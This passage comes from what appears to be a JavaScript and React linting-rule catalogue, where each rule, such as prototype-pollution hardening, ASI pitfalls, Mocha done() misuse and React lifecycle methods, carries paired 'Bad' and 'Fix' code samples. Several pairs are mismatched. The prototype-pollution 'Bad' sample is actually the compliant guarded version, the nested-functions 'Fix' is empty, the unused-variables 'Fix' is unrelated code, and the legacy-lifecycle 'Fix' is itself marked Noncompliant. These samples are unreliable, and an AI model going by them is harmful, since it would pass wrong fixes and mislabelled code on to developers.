      </ul>
      );
      }
      ```

      ```javascript Fix theme={null}
      function Blog(props) {
      return (
      <ul>
        {props.posts.map((post) =>
          <li key={post.id}>
            {post.title}
          </li>
        )}
      </ul>
      );
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Recursively merging or assigning object properties is security-sensitive">
    <div class="paragraph">
      <p>ects or dynamically assigning object properties from strings may be prone to Prototype Pollution vulnerabilities in JavaScript. Prototype Pollution vulnerabilities allow to inject new properties into the built-in <code>Object.prototype</code> object. Since most objects inherit from this prototype, it can result in unexpected behavior, e.g., crashes or more severe vulnerabilities.</p>
    </div>

    <div class="paragraph">
      <p>Recursively merging objects or dynamically assigning object properties from strings has led in the past to the following vulnerabilities:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10744">CVE-2019-10744</a></p>
        </li>

        <li>
          <p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11358">CVE-2019-11358</a></p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function for_in_merge(dst, src) {
      for (let key in src) {
          // Recommended Secure Coding Practices: prevent sensible keys
          if (key === "constructor" || key === "prototype" || key === "__proto__") {
              continue;
          }

          if (dst[key]) {
              for_in_merge(dst[key], src[key]);
          } else {
              dst[key] = src[key]; // Compliant
          }
      }
      }
      ```

      ```javascript Fix theme={null}
      function for_set(target, path, value) {
      let keys = path.split('.');
      for (let i = 0; i < keys.length; ++i) {
          let key = keys[i];
          // Recommended Secure Coding Practices: prevent sensible keys
          if (key === "constructor" || key === "prototype" || key === "__proto__") {
              break;
          }
          if (i < keys.length - 1) {
              if (!target[key]) {
                  target[key] = {};
              }
              target = target[key];
          } else {
              target[key] = value; // Compliant
          }
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Multiline string literals should not be used">
    <div class="paragraph">
      <p>Creating multiline strings by using a backslash () before a newline is known as "line continuation" or "line breaking." While it may seem like a convenient way to format multiline strings, it is generally considered bad practice.</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>Line continuation can make the code harder to read and understand, especially when dealing with long strings. It introduces an extra character at the end of each line, which can clutter the code and reduce its readability.</p>
        </li>

        <li>
          <p>If the string content changes, it might require reformatting the entire multiline string, involving adjusting the line breaks and ensuring the backslashes are correctly placed. This can be error-prone and cumbersome, leading to maintenance issues.</p>
        </li>

        <li>
          <p>Line continuation can sometimes behave unexpectedly, particularly when there are trailing spaces or tabs after the backslash. This can lead to subtle bugs that are difficult to spot and debug.</p>
        </li>
      </ul>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let myString = 'A rather long string of English text, an error message \
                  actually that just keeps going and going -- an error \
                  message to make the Energizer bunny blush (right through \
                  those Schwarzenegger shades)! Where was I? Oh yes, \
                  you\'ve got an error and all the extraneous whitespace is \
                  just gravy.  Have a nice day.';  // Noncompliant
      ```

      ```javascript Fix theme={null}
      let myString = 'A rather long string of English text, an error message ' +
                 'actually that just keeps going and going -- an error ' +
                 'message to make the Energizer bunny blush (right through ' +
                 'those Schwarzenegger shades)! Where was I? Oh yes, ' +
                 'you\'ve got an error and all the extraneous whitespace is ' +
                 'just gravy.  Have a nice day.';
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Function call arguments should not start on new lines">
    <div class="paragraph">
      <p>JavaScript will automatically insert semicolons when parsing the code so invalid sequences can be "fixed" to valid syntax. This behavior, called <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#automatic_semicolon_insertion">"Automatic semicolon insertion"</a> or <strong>ASI</strong>, makes semicolons at the end of statements optional and attempts to make JavaScript more approachable and convenient.</p>
    </div>

    <div class="paragraph">
      <p>However, sometimes, relying on ASI can lead to unexpected results. ASI will only be triggered if a line break separates tokens that would otherwise produce invalid syntax. JavaScript will not insert semicolons if the next token can be parsed as part of a valid structure.</p>
    </div>

    <div class="paragraph">
      <p>In the case of function call arguments, they are allowed to be on a separate line. But, depending on the developer’s intent and, especially when working with <a href="https://developer.mozilla.org/en-US/docs/Glossary/IIFE">IIFE</a> (or any other design pattern using <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Grouping">Grouping operator</a>), it can lead to errors and most likely <em>will</em> lead to questions for maintainers.</p>
    </div>

    <div class="paragraph">
      <p>What was the initial intent of the developer?</p>
    </div>

    <div class="olist arabic">
      <ol class="arabic">
        <li>
          <p>Defining a function and then executing some unrelated code inside a closure?</p>
        </li>

        <li>
          <p>Passing the second function as a parameter to the first one?</p>
        </li>
      </ol>
    </div>

    <div class="paragraph">
      <p>The first option will be the one chosen by the JavaScript interpreter.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const fn = function () {
      //...
      }

      (function () { // Noncompliant: function is passed as a parameter to fn
      //...
      })();
      ```

      ```javascript Fix theme={null}
      // Define a function
      const fn = function () {
      //...
      }; // <-- semicolon added

      // then execute some code inside a closure
      (function () {
      //...
      })();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Property getters and setters should come in pairs">
    <div class="paragraph">
      <p>When an object is created with a setter for a property but without a getter for that property, the property is inaccessible and is thus useless.</p>
    </div>

    <div class="paragraph">
      <p>This rule also enforces the reverse situation (getter but no setter).</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var obj = {
      set foo(value) {
          this.fooval = value;
      }
      };
      ```

      ```javascript Fix theme={null}
      var obj = {
      set foo(value) {
          this.fooval = value;
      },
      get foo() {
          return this.fooval;
      }
      };
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Objects and classes converted or coerced to strings should define a toString() method">
    <div class="paragraph">
      <p>When using an object in a string context, a developer wants to get the string representation of the state of an object, so obtaining \[object Object] is probably not the intended behaviour and might even denote a bug.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class Foo {};
      const foo = new Foo();

      foo + ''; // Noncompliant - evaluates to "[object Object]"
      `Foo: ${foo}`; // Noncompliant - evaluates to "Foo: [object Object]"
      foo.toString(); // Noncompliant - evaluates to "[object Object]"
      ```

      ```javascript Fix theme={null}
      class Foo {
      toString() {
      return 'Foo';
      }
      }
      const foo = new Foo();

      foo + '';
      `Foo: ${foo}`;
      foo.toString();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Tests should not execute any code after done() is called">
    <div class="paragraph">
      <p>The \`done callback of Mocha is used to signal the end of an asynchronous test. It is called when the test is complete, either successfully or with an error. It is important not to follow the done callback with code because the test may not have completed yet, and the code may execute before the test is finished. This can lead to unpredictable results and make it difficult to debug issues.</p>
    </div>

    <div class="paragraph">
      <p>It is recommended to use the done callback only to signal the end of the test and handle any necessary cleanup or assertions before the callback.</p>
    </div>

    <div class="paragraph">
      <p>Here’s a bad example of using Mocha’s done\` callback:</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const expect = require("chai").expect;

      describe('My test suite', function() {
      it('should do something asynchronously', function(done) {
      setTimeout(function() {
          expect(2 + 2).to.equal(4);
          expect('hello').to.have.lengthOf(5);
          done();

          console.log('Test has completed.'); // Noncompliant: Code after calling done, which may produce unexpected behavior
      }, 1000);
      });
      });
      ```

      ```javascript Fix theme={null}
      const expect = require("chai").expect;

      describe('My test suite', function() {
      it('should do something asynchronously', function(done) {
      setTimeout(function() {
          expect(2 + 2).to.equal(4);
          expect('hello').to.have.lengthOf(5);

          console.log('Test has completed.');
          done();
      }, 1000);
      });
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Test files should contain at least one test case">
    <div class="paragraph">
      <p>Test files in JavaScript and TypeScript are meant to contain test cases. These test cases are used to verify the functionality of your code and ensure that it behaves as expected. If a test file doesn’t contain any test cases, it’s not serving its purpose.</p>
    </div>

    <div class="paragraph">
      <p>A test file without test cases might indicate:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>An incomplete test suite: Perhaps the developer started writing tests but didn’t finish.</p>
        </li>

        <li>
          <p>A mistake: The developer might have accidentally deleted the test cases or moved them to another file.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>This rule flags any file that has <code>.test or .spec as part of its suffix but does not contain any test cases defined using the different forms of the it and test</code> functions from Jasmine, Jest, Mocha, or Node.js testing API.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      // eval.test.js

      /* no test cases */
      ```

      ```javascript Fix theme={null}
      // eval.test.js

      it('1 + 2 should give 3', () => {
      expect(1 + 2).toBe(3);
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Functions should not be nested too deeply">
    <div class="paragraph">
      <p>Nested functions refer to the practice of defining a function within another function. These inner functions have access to the variables and parameters of the outer function, creating a closure.</p>
    </div>

    <div class="paragraph">
      <p>While nesting functions is a common practice in JavaScript, deeply nested functions can make the code harder to read and understand, especially if the functions are long or if there are many levels of nesting.</p>
    </div>

    <div class="paragraph">
      <p>This can make it difficult for other developers or even yourself to understand and maintain the code.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function f() {
      function f_inner() {
      function f_inner_inner() {
        function f_inner_inner_inner() {
          function f_inner_inner_inner_inner() { // Noncompliant
          }
        }
      }
      }
      }
      ```

      ```javascript Fix theme={null}
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Constructor names should start with an upper case letter">
    <div class="paragraph">
      <p>By convention, constructor function names should start with an upper case letter as a reminder that they should be called with the <code>new</code> keyword.</p>
    </div>

    <div class="paragraph">
      <p>A function is considered to be a constructor when it sets all of its arguments as object properties, and returns no value.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function person (firstName, middleInitial, lastName) {  // Noncompliant
      this.firstName = firstName;
      this.middleInitial = middleInitial;
      this.lastName = lastName;
      }
      ```

      ```javascript Fix theme={null}
      function Person (firstName, middleInitial, lastName) {
      this.firstName = firstName;
      this.middleInitial = middleInitial;
      this.lastName = lastName;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="The names of model properties should not contain spaces">
    <div class="paragraph">
      <p>When using the Backbone.js framework, the names of model attributes should not contain spaces. This is because the Events object accepts space-delimited lists of events, so an attributes with spaces in the names could be misinterpreted.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      Person = Backbone.Model.extend({
          defaults: {
              'first name': 'Bob',      // Noncompliant
              'birth date': new Date()  // Noncompliant
          },
      });
      ```

      ```javascript Fix theme={null}
      Person = Backbone.Model.extend({
          defaults: {
              firstName: 'Bob',
              birthDate: new Date()
          },
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Arithmetic operators should only have numbers as operands">
    <div class="paragraph">
      <p>Expressions with arithmetic (<code>/, \*, %, ++, --, -, -=, \*=, /=, %=, +=, +), unary (-), or comparison operators (>, \<, >=, \<=</code>) where one, or both, of the operands is a String, Boolean or Date value rely on implicit conversions. Both the maintainability and reliability levels of such a piece of code are questionable.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      str = "80";
      quarter = str / 4; // Noncompliant

      if (str < 10) { // Noncompliant
      // ...
      }
      ```

      ```javascript Fix theme={null}
      str = "80";
      parsedStr = parseInt(str);
      quarter = parsedStr / 4;

      if (parsedStr < 10) {
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Reacts findDOMNode should not be used">
    <div class="paragraph">
      <p>In React, findDOMNode is used to get the browser DOM node given a component instance. However, using findDOMNode is fragile because the connection between the JSX node and the code manipulating the corresponding DOM node is not explicit. For example, changing the external structure of returned JSX will affect the return value of findDOMNode. There are also other <a href="https://react.dev/reference/react-dom/findDOMNode#caveats">caveats</a> when using findDOMNode.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { Component } from 'react';
      import { findDOMNode } from 'react-dom';

      class AutoselectingInput extends Component {
      componentDidMount() {
      const input = findDOMNode(this); // Noncompliant: findDOMNode is deprecated
      input.select();
      }

      render() {
      return <input defaultValue="Hello" />
      }
      }
      ```

      ```javascript Fix theme={null}
      import { createRef, Component } from 'react';

      class AutoselectingInput extends Component {
      inputRef = createRef(null);

      componentDidMount() {
      const input = this.inputRef.current; // Always points to the input element
      input.select();
      }

      render() {
      return (
        <input ref={this.inputRef} defaultValue="Hello" />
      );
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Default type parameters should be omitted">
    <div class="paragraph">
      <p>There’s no reason to repeat a default type unless it is early in a list and other, non-default types come after it. Instead, leave it out and only supply type when it is something other than the default.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo<N = number, S = string>() {}
      foo<number, string>();  // Noncompliant; both types redundant
      foo<string, string>();  // Noncompliant; 2nd string is redundant
      foo<number, number>();  // Ignored; number is redundant but required
      ```

      ```javascript Fix theme={null}
      function foo<N = number, S = string>() {}
      foo();
      foo<string>();
      foo<number, number>();
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Empty collections should not be accessed or iterated">
    <div class="paragraph">
      <p>When a collection is empty with absolute certainty, it makes no sense to access or iterate it. Doing so can lead to unexpected behavior or errors in the code. The most common cause is that population was accidentally omitted or removed.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const strings = [];

      if (strings.includes("foo")) {}  // Noncompliant: strings is always empty

      for (const str of strings) {}  // Noncompliant

      strings.forEach(str => doSomething(str)); // Noncompliant
      ```

      ```javascript Fix theme={null}
      const strings = [];

      strings.push("foo");

      if (strings.includes("foo")) {}

      for (const str of strings) {}

      strings.forEach(str => doSomething(str));
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="setState should use a callback when referencing the previous state">
    <div class="paragraph">
      <p>In React, calling setState is the primary way to update a component’s state. However, calling setState is often asynchronous. React batches state updates for performance reasons, which means that when you call setState, React doesn’t immediately update the state and trigger a re-render. Instead, it schedules the update for later, and multiple setState calls within the same event handler or function may be batched together. This can lead to unexpected behavior if you assume that state updates are immediate. Therefore, you should not rely on their values for calculating the next state.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function increment() {
      this.setState({count: this.state.count + 1}); // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      function increment() {
      this.setState(prevState => ({count: prevState.count + 1}));
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Class methods should be used instead of prototype assignments">
    <div class="paragraph">
      <p>Originally JavaScript didn’t support \`classes, and class-like behavior had to be kludged using things like prototype assignments for "class" functions. Fortunately, ECMAScript 2015 added classes, so any lingering prototype uses should be converted to true classes. The new syntax is more expressive and clearer, especially to those with experience in other languages.</p>
    </div>

    <div class="paragraph">
      <p>Specifically, with ES2015, you should simply declare a class\` and define its methods inside the class declaration.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function MyNonClass(initializerArgs = []) {
      this._values = [...initializerArgs];
      }

      MyNonClass.prototype.doSomething = function () {  // Noncompliant
      // ...
      }
      ```

      ```javascript Fix theme={null}
      class MyClass {
      constructor(initializerArgs = []) {
      this._values = [...initializerArgs];
      }

      doSomething() {
      //...
      }  
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Errors should not be created without being thrown">
    <div class="paragraph">
      <p>Errors should not be created without being thrown because they can confuse and make it difficult to debug code. When an error is thrown, it means that something unexpected has happened, and the program cannot continue executing as expected. By creating an error without throwing it, it may appear as if everything is working correctly, but in reality, an underlying issue must be addressed.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (x < 0) {
      new Error("x must be nonnegative"); // Noncompliant: Creating an error without throwing it
      }
      ```

      ```javascript Fix theme={null}
      if (x < 0) {
      throw new Error("x must be nonnegative");
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unnecessary calls to .bind() should not be used">
    <div class="paragraph">
      <p>The .bind() method allows specifying the value of this and, optionally, the values of some function arguments. However, if this is not used in the function body, calls to .bind() do nothing and should be removed.</p>
    </div>

    <div class="paragraph">
      <p>Calling .bind() on arrow functions is a bug because the value of this does not change when .bind() is applied to arrow functions.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let x = function fn() {
      return 123;
      }.bind({value: 456}); // Noncompliant


      let y = (() => this.body).bind(document); // Noncompliant
      ```

      ```javascript Fix theme={null}
      let x = (function callback() {
      return this.body;
      }).bind(document); // ok, not an arrow function


      let y = (function print(x) {
      console.log(x);
      }).bind(this, foo); // ok, binds argument
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="If statements should not be the only statement in else blocks">
    <div class="paragraph">
      <p>When if is the only statement in the else block, it is better to use else if because it simplifies the code and makes it more readable.</p>
    </div>

    <div class="paragraph">
      <p>When using nested if statements, it can be difficult to keep track of the logic and understand the flow of the code. Using else if makes the code more concise and easier to follow.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      if (condition1) {
      // ...
      } else {
      if (condition2) {  // Noncompliant: 'if' statement is the only statement in the 'else' block
          // ...
      }
      }


      if (condition3) {
      // ...
      } else {
      if (condition4) { // Noncompliant: 'if' statement is the only statement in the 'else' block
          // ...
      } else {
          // ...
      }
      }
      ```

      ```javascript Fix theme={null}
      if (condition1) {
      // ...
      } else if (condition2) {
      // ...
      }


      if (condition3) {
      // ...
      } else if (condition4) {
      // ...
      } else {
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Proprietary attributes should not be used">
    <div class="paragraph">
      <p>The use of DOM attributes that are only supported by specific browsers can doom your website to obsolescence as the browser market shifts or the vendor that introduced the extension abandons it. Instead, it’s always best to stick to standard attributes so that your site works for as broad a cross section of users as possible.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when <code>innerText</code> is used.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      function setData(element) {
      element.innerText = "Hello World!"; // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      function setData(element) {
      element.textContent = "Hello World!";
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Arguments to built-in functions should match documented types">
    <div class="paragraph">
      <p>The types of the arguments that built-in functions accept are specified in the JavaScript language specification. Calls to these functions should conform to the documented types as they are designed to work with specific data types. If the arguments passed to these functions do not match the expected types, it can lead to type errors or unexpected behavior.</p>
    </div>

    <div class="paragraph">
      <p>Additionally, passing the correct types of arguments to built-in functions can improve performance by reducing the need for type conversions and other operations.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const isTooSmall = Math.abs(x < 0.0042); // Noncompliant: 'Math.abs' takes a number as argument
      ```

      ```javascript Fix theme={null}
      const isTooSmall = Math.abs(x) < 0.0042;
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Exclusive tests should not be commited to version control">
    <div class="paragraph">
      <p>When using testing frameworks like Mocha and Jest, appending .only() to the test function allows running a single test case for a file. Using .only() means no other test from this file is executed. This is useful when debugging a specific use case.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      describe("MyClass", function () {
      it.only("should run correctly", function () { // Noncompliant
          /*...*/
      });
      });
      ```

      ```javascript Fix theme={null}
      describe("MyClass", function () {
      it("should run correctly", function () {
          /*...*/
      });
      });
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="A for loop update clause should move the counter in the right direction">
    <div class="paragraph">
      <p>In a for loop, the update clause is responsible for modifying the loop counter variable in the appropriate direction to control the loop’s iteration. It determines how the loop counter variable changes with each iteration of the loop. The loop counter should move in the right direction to prevent infinite loops or unexpected behavior.</p>
    </div>

    <div class="paragraph">
      <p>This rule raises an issue when the loop counter is updated in the wrong direction with respect to the loop termination condition.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      for (let i = 0; i < strings.length; i--) { // Noncompliant: The counter 'i' is decremented, making the loop infinite
      //...
      }
      ```

      ```javascript Fix theme={null}
      for (let i = 0; i < strings.length; i++) {
      //...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Quotes for string literals should be used consistently">
    <div class="paragraph">
      <p>This rule checks that all string literals use the same kind of quotes.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      var firstParameter = "something"; // Noncompliant
      ```

      ```javascript Fix theme={null}
      var firstParameter = 'something';
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="with statements should not be used">
    <div class="paragraph">
      <p>The with statement introduces a new scope, where properties of an object can be accessed directly without having to specify the object’s name explicitly. However, using it is generally considered a bad practice and is strongly discouraged.</p>
    </div>

    <div class="paragraph">
      <p>While it might seem convenient at first, it can lead to several issues:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>The with statement can make code more ambiguous and harder to read. When reading the code, it becomes unclear where variables or properties are coming from, as they can be from the object in the with statement or any of its parent scopes.</p>
        </li>

        <li>
          <p>The with statement negatively impacts performance. JavaScript engines have a harder time optimizing code with with because it adds uncertainty to variable lookups, which can result in slower execution.</p>
        </li>

        <li>
          <p>Using with can lead to bugs that are difficult to identify and troubleshoot. If a variable is not found in the object within the with statement or its parent scopes, JavaScript will create a new global variable instead, potentially leading to unexpected behavior.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>As a result of these issues, ECMAScript 5 (ES5) strict mode explicitly forbids the use of the with statement. Strict mode was introduced to enhance code safety and maintainability, and it helps to catch potential issues and discourage the use of problematic language features.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      let x = 'a';

      let foo = {
      y: 1
      };

      with (foo) { // Noncompliant
      y = 4;     // Updates 'foo.y'
      x = 3;     // Does not add a 'foo.x' property; updates the variable 'x' in the outer scope instead
      }

      console.log(foo.x + " " + x); // Prints: undefined 3
      ```

      ```javascript Fix theme={null}
      let x = 'a';

      let foo = {
      y: 1
      };

      foo.y = 4;
      foo.x = 3;

      console.log(foo.x + " " + x); // Prints: 3 a
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Use Object.hasOwn static method instead of hasOwnProperty">
    <div class="paragraph">
      <p>The Object.hasOwn() method was introduced in ES2022 as a replacement for the more verbose Object.prototype.hasOwnProperty.call(). These methods return true if the specified property of an object exists as its <em>own</em> property. If the property is only available further down the prototype chain or does not exist at all - the methods return false.</p>
    </div>

    <div class="paragraph">
      <p>If you are still using the old method - replace it with a simpler and more concise alternative.</p>
    </div>

    <div class="paragraph">
      <p>You should also avoid calling the obj.hasOwnProperty() method directly, without using Object.prototype as a source. This can lead to a runtime error if obj.prototype is null and therefore obj.hasOwnProperty is undefined. The static method Object.hasOwn()  does not depend on the obj.prototype and is therefore safe to use in such cases.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      Object.prototype.hasOwnProperty.call(obj, "propertyName"); // Noncompliant
      Object.hasOwnProperty.call(obj, "propertyName"); // Noncompliant
      ({}).hasOwnProperty.call(obj, "propertyName"); // Noncompliant
      ```

      ```javascript Fix theme={null}
      Object.hasOwn(obj, "propertyName");
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unused local variables and functions should be removed">
    <div class="paragraph">
      <p>If a local variable or a local function is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable or function is used for.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      let theThing = null;
      const replaceThing = function () {
      const originalThing = theThing;
      const unused = function () {
      if (originalThing) {
        console.log("hi");
      }
      };
      theThing = {
      longStr: new Array(1000000).join("*"),
      someMethod: function () {
        console.log(someMessage);
      },
      };
      };
      setInterval(replaceThing, 1000);
      ```

      ```javascript Fix theme={null}
      function numberOfMinutes(hours) {
      var seconds = 0;   // seconds is never used
      return hours * 60;
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Reacts useState hook should not be used directly in the render function or body of a component">
    <div class="paragraph">
      <p>React’s <code>useState</code> hook setter function should not be called directly in the body of a component, as it would produce an infinite render loop. A re-rendering occurs whenever the state of a component changes. Since a hook setter function changes the component’s state, it also triggers re-rendering.</p>
    </div>

    <div class="paragraph">
      <p>The loop "state updates → triggers re-render → state updates → triggers re-render → …​" will continue indefinitely.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      import { useState } from "react";

      function ShowLanguage() {
      const [language, setLanguage] = useState("fr-FR");

      setLanguage(navigator.language); // Noncompliant: causes an infinite loop

      return (
        <section>
          <h1>Your language is {language}!</h1>
          <button onClick={() => setLanguage("fr-FR")}>Je préfère le français</button>
        </section>
      );
      }
      ```

      ```javascript Fix theme={null}
      import { useState } from "react";

      function ShowLanguage() {
      const [language, setLanguage] = useState(navigator.language);

      return (
        <section>
          <h1>Your language is {language}!</h1>
          <button onClick={() => setLanguage("fr-FR")}>Je préfère le Français</button>
        </section>
      );
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="ReactJS components not defined should not be used">
    <div class="paragraph">
      <p>This rule raised an issue when a component is used in the `render() method and not import`ed or defined.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      <Rating value={this.props.measure.reliability_rating} />;
      ```

      ```javascript Fix theme={null}
      import Rating from './Rating'
      [...]
      <Rating value={this.props.measure.reliability_rating} />
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="React legacy lifecycle methods should not be used">
    <div class="paragraph">
      <p>React works in two phases: render and commit.</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>The render phase determines what changes need to be made to e.g. the DOM. During this phase, React calls render and then compares the result to the previous render.</p>
        </li>

        <li>
          <p>The commit phase is when React applies any changes. (In the case of React DOM, this is when React inserts, updates, and removes DOM nodes.) React also calls lifecycles like componentDidMount and componentDidUpdate during this phase.</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>Render phase lifecycles include among others, the following lifecycle methods:</p>
    </div>

    <div class="ulist">
      <ul>
        <li>
          <p>componentWillMount (or its alias UNSAFE\_componentWillMount)</p>
        </li>

        <li>
          <p>componentWillReceiveProps (or its alias UNSAFE\_componentWillReceiveProps)</p>
        </li>

        <li>
          <p>componentWillUpdate (or its alias UNSAFE\_componentWillUpdate)</p>
        </li>
      </ul>
    </div>

    <div class="paragraph">
      <p>These are considered unsafe and also happen to be the lifecycles that cause the most confusion within the React community and tend to encourage unsafe coding practices.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class Foo extends React.Component {
      UNSAFE_componentWillMount() {}         // Noncompliant
      UNSAFE_componentWillReceiveProps() {}  // Noncompliant
      UNSAFE_componentWillUpdate() {}        // Noncompliant
      }
      ```

      ```javascript Fix theme={null}
      class myComponent extends React.Component {
      constructor(props) {
        super(props);
      }   

      componentWillMount() { // Noncompliant: "componentWillMount" is deprecated
        if (localStorage.getItem("token")) {
            this.setState({logged_in: true});
        }
      }
      // ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Promise rejections should not be caught by try blocks">
    <div class="paragraph">
      <p>An exception thrown inside a promise will not be caught by a nesting <code>try</code> block due to the asynchronous nature of execution.</p>
    </div>

    <div class="paragraph">
      <p>Promises are designed to propagate errors to the next error handler or catch() block in the promise chain. Promises are asynchronous and operate outside of the normal call stack. When a Promise is created, it is added to the microtask queue, which is processed after the current call stack has completed. This means that the try-catch block surrounding the Promise will have already completed by the time the Promise is resolved or rejected. Therefore, any error occurring within the Promise will not be caught by the try-catch block.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      function foo() {
      try { // Noncompliant: Promise rejection will not be caught
      runPromiseThatRejects();
      } catch (e) {
      console.log("Failed to run promise", e);
      }
      }
      ```

      ```javascript Fix theme={null}
      function foo() {
      runPromiseThatRejects().catch(e => console.log("Failed to run promise", e));
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Selection results should be tested with length">
    <div class="paragraph">
      <p>Once you’ve made a selection, you typically want to know whether it actually found anything. Since selectors <em>always</em> return an object (the set of selected DOM elements), the best way to see whether your selection found anything is to test the returned object’s <code>.length</code> property.</p>
    </div>

    <div class="paragraph" />

    <CodeGroup>
      ```javascript Bad theme={null}
      if ( $( "div.foo" ) ) {  // Noncompliant
      // this code always runs, even when the selector didn't match any elements
      // ...
      }
      ```

      ```javascript Fix theme={null}
      // Testing whether a selection contains elements.
      if ( $( "div.foo" ).length > 0) {
      // this code only runs if elements were found
      //  ...
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Loop counters should not be assigned within the loop body">
    <div class="paragraph">
      <p>Loop counters, such as variables used to track the iteration count in loops, should not be assigned from within the loop body to avoid unexpected behavior and bugs. It can inadvertently lead to an infinite loop or make the loop behavior more complex and harder to reason about.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      const names = [ "Jack", "Jim", "", "John" ];
      for (let i = 0; i < names.length; i++) {
      if (!names[i]) {
      i = names.length; // Noncompliant: The loop counter i is assigned within the loop body
      } else {
      console.log(names[i]);
      }
      }
      ```

      ```javascript Fix theme={null}
      const names = [ "Jack", "Jim", "", "John" ];
      for (let i = 0; i < names.length; i++) {
      if (!names[i]) {
      break;
      } else {
      console.log(names[i]);
      }
      }
      ```
    </CodeGroup>
  </Accordion>

  <Accordion title="Unused private class members should be removed">
    <div class="paragraph">
      <p>The private class members were introduced in ES2022 and use # (hash) symbol prefix. It is possible to declare private fields, methods, getters and setters as well as their static counterparts. The private members are only accessible from within the current class body and aren’t inherited by subclasses. They also cannot be removed with delete operator.</p>
    </div>

    <CodeGroup>
      ```javascript Bad theme={null}
      class MyClass {
      #foo = 123;
      bar(){
          return this.#foo; // ok
      }
      }

      const obj = new MyClass();
      obj.#foo = 345; // error: #foo is not accessible outside of the class
      ```

